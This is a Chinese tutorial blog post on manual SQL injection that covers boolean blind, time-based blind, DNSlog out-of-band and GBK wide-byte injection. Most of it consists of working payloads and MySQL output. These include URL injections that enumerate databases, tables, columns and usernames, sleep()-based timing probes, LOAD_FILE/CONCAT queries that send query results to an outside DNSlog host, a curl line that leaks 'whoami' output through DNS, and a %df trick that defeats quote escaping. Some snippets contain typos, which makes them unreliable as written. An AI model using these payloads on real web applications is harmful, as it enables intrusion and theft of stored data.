SQL手工注入之sql盲注

布尔盲注

什么是布尔盲注

页面可以进行SQL注入,但是不能通过注入直接看到数据库中的内容,但可以通过“真” “假” 的方式判断数据量库中的信息

构造逻辑判断语句,判断信息的真假,取出所有的真值,实现sql注入

在mysql中能对位,或者每一位的数据进行判断识别的函数,或者方法就能进行布尔盲注
首先我们要知道
left()、substr()、ascii() 函数以及正则表达语句regexp 的使用:

left()函数
left(database(),1)='x'
databse()显示数据库名称,left(a,b)从左侧截取a的前b位

database()=anmin

left(database(),1)='a'
right

left(database(),2)='ab'
wrong

left(database(),2)='ad'
right
一步一步判断


regexp 进行正则表达的语句
select database() regexp'^a'   ^这个字符串的起始位置
right

select database() regexp'^ab'
wrong

select database() regexp'^ad'
right

select database() regexp'^admin'
right


likeregexp类似,使用like进行匹配
select database() like'ad%'


substr() ascii() 函数
substr(a,b,c)从b位置开始,截取字符串a的c长度
substr(select database()),1,1))='a'  有时会过滤''使用ascii可以适用于更多场景
ascii(substr(select database()),1,1))=115

mysql> select database();
+------------+
| database() |
+------------+
| basslian   |
+------------+
1 row in set (0.00 sec)

mysql> select substr(database(),1,2);第一个字符开始,截取两个字符
+------------------------+
| substr(database(),1,2) |
+------------------------+
| ba                     |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),2,1);第二个字符开始,截取一个字符
+------------------------+
| substr(database(),2,1) |
+------------------------+
| a                      |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),2,2);第二个字符开始,截取两个字符
+------------------------+
| substr(database(),2,2) |
+------------------------+
| as                     |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),3,1);第三个字符开始,截取一个字符
+------------------------+
| substr(database(),3,1) |
+------------------------+
| s                      |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),3,3);第三个字符开始,截取三个字符
+------------------------+
| substr(database(),3,3) |
+------------------------+
| ssl                    |
+------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database(),1,1));第一个字符开始,截取一个字符,它的阿斯卡码值98,b
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
|                            98 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database(),2,1));第二个字符值97,a
+-------------------------------+
| ascii(substr(database(),2,1)) |
+-------------------------------+
|                            97 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database(),3,1));第三字符值115,s
+-------------------------------+
| ascii(substr(database(),3,1)) |
+-------------------------------+
|                           115 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| b                      |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),1,1)='b';第一个字符判断真假,如果是b,为真,返回1
+----------------------------+
| substr(database(),1,1)='b' |
+----------------------------+
|                          1 |
+----------------------------+
1 row in set (0.01 sec)

mysql> select substr(database(),1,1)='c';第一个字符是b,不是c,为假,返回0
+----------------------------+
| substr(database(),1,1)='c' |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),1,1)='B';
+----------------------------+
| substr(database(),1,1)='B' |
+----------------------------+
|                          1 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select substr(database(),1,1)='B';
第一个字符为b,通过substr函数返回B也可以为真,但是为了更准确,使用ascii

这里是一个结合ascii()的例子
?id=1 and ascii(substring((select schema_name FROM information_schema.schemata LIMIT 0,1),1,1)) >64
1.首先执行里面的子查询

2.substring截取子查询的返回值的一个字符

3.利用ascii函数求substring截取的字符的ascii码

4.把64和ascii函数的返回值进行比较

5.根据比较后返回的布尔值来进行查询,如果步骤4返回false。则整个SQL语句返回结果为空。

若提示“找到记录!”,说明第一个字符大于64。

这里为什么选择64呢?因为ascii码只有128个,64刚好是一半,我们用二分法,一次就可以排除掉一半。所以我们第二次应该是判断它是否大于 64+ 64/2。

表名是users

substring((select column_name FROM information_schema.columns where table_name='user' and table_schema='sqli' LIMIT 0,1),1,1)='u'

当前用户是admin

substring((select username from users LIMIT 0,1),1,1)) ='a'      admin

之后构造常用sql注入payload

select table_name from information_schema.tables where table_schema=database() limit 0,1
爆表

select column_name from information_schema.columns where table_name=notice limit 0,1
爆字段

select schema_name from  information_schema.schemata limit0,1
爆库

时间盲注

什么是时间盲注

代码存在sql注入,然而页面不会回显数据,也不会回显错误信息
语句执行后,也不会提示真假,我们不能通过页面内容来进行判断
我们可以通过构造语句,通过页面响应时长,来判断信息

构造一个逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
if(xxx,0,x) if语法
if一个条件,如果xxx语句的内容对了,为真,返回0这个结果立即执行语句
如果xxx语句的内容错了,为假,返回x这个结果,执行x这个语句
IF(Condition,A,B),当Condition为TRUE时,返回A;当Condition为FALSE时,返回B

if(ascii(substr(database(),1,1))=>1150,sleep(5));
先截取数据库的第一个字符,它的ascii值是否=115,如果是,立即执行,若果不是,延迟执行五秒

database() ===想要查询的数据

if(left(user(),1)='r',0,sleep(5))--+
当前用户名root@localhost 第一位r,程序立即执行

我们构造一个payload:

and if(ascii(substring((select schema_name from information_schema.schemata LIMIT 0,1),1,1)) = 105, sleep(5), sleep(0)))--+

来查询当前的数据库

之后的查询语句继续带入上面的payload

Dnslog盲注

Dnsloag盲注原理

早期:互联网上的服务器,它运行着很多程序并向外提供服务,服务器要有一个独立的,公网的IP地址,它提供的端口,互联网的用户访问他的地址,访问我们需要的web应用
server服务器192.168.xxx.xxx—————user用户

Dns:User用户————domain(test.com)域名————DNS server(进行处理,来找到对应的)————server服务器192.168.xxx.xxx

对这个中间的进行处理的过程称为DNS 它将域名与服务器的IP地址做了一个映射

DNSlog:他会记录我们所有的访问的域名的信息

使用Dnslog注入的有点 : 可以减少请求,直接回显数据

Dnslog平台 http://ceye.io/

Dns在接解析的时候会留下日志,通过获取多级域名的解析日志,获取请求信息

Linux下curl模拟发起一个http请求命令

curl :xx.l123456.ceye.io , 这是平台分配给你的 l123456.ceye.io

[root@localhost ~]# curl l123456.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}[root@localhost ~]  成功

我们登陆Dnslog平台 http://ceye.io/会看到:


记录信息                       详情                   请求的来源地址             方式              UA
HTTP REQUEST请求信息    http://xx.l123456.ceye.io/    10.10.10.10            GET            cur7.43.0
DNS Query dns处理信息   xx.l123456.ceye.io            10.10.10.10

dnslogsql方便区分,在Linux系统上使用时在这里插入代码片

[root@localhost ~]# curl dnslogsql.n1omra.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}[root@localhost ~]# 

在Linux中如果将’whoami’包围起来,那么这个语句将会被直接执行

curl 'whoami'.l123456.ceye.io

它会被当作语言先执行:当前的用户,也就是xxx

我们进行dnslog盲注:
有一点我们需要知道使用load_file()目标服务器必须是Windows操作系统

构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据

(SELECT LOAD_FILE(CONCAT('\\\\',(select databses()),'.l123456.ceye.io\\abc')))--+

通过sql语句查询内容,作为请求的一部分,发送至dnslog

只要对这一部分的语句进行构造,就能实现有回显的sql注入

这些数据格式与内容都有限制,需要进一步处理不能有特殊符号:~

构造一个payload,利用dnslog注入查表语句:

and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.l123456.ceye.io/abc')))--+

宽字节注入

宽字节注入原理

宽字节,如果一个字符大小为一个字节,称为窄字节,若果为两个字节,称为宽字节

所有的英文默认占一个字节,中文汉字默认占两个字节,为何中文字符需要两个字节储存

英文字符只有a~z 大小写总的也就48种。

一个字节8位二进制,其数字的01组合种类完全满足其个数。255个字符
但是一个中文字符,却有太多种不同。所以一个字节8位的排列组合无法满足其个数。

所以又了两个字节16位来表示一个中文字符。(还要表示韩文,日文等)

不管编译器宽窄设置,中文字符默认占2字节,英文字符默认占1字节
如:
sizeof(‘你’) 结果是2 ,不管编译器如何设置宽窄
sizeof(“你”);结果3 中文2字节,结束符1字节 双引号表示字符串,自动添加结束符
sizeof(‘abc’);结果是3 单引号是字符,没有结束符,每个英文字符占1字节
sizeof(’‘abc’’);结果是4

我们写一个sql注入的例子:

http://www.xxx.com/?id=-9999’ union select 1,2,(select database()),4,5 --+

如何防御这类型的SQL注入方式:将 转换为 使后面的 不能与前面的 形成闭合,破坏注入

如何绕过:将\消灭

原理:输入'  处理\'   编码 %5C%27  \'     带入sql id=1\'and     不能注入

MYSQL 在使用GBK编码时,会认为两个字符为一个汉字
%df'    %df\'   %df%5C%27'        id=运'and          可以注入

两个字符组合认为是一个汉字  注:前一个Ascii码大于128才能到汉字的范围                                 '

方法:在注入点后键入%df,然后按照正常的注入流程开始注入

完成

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值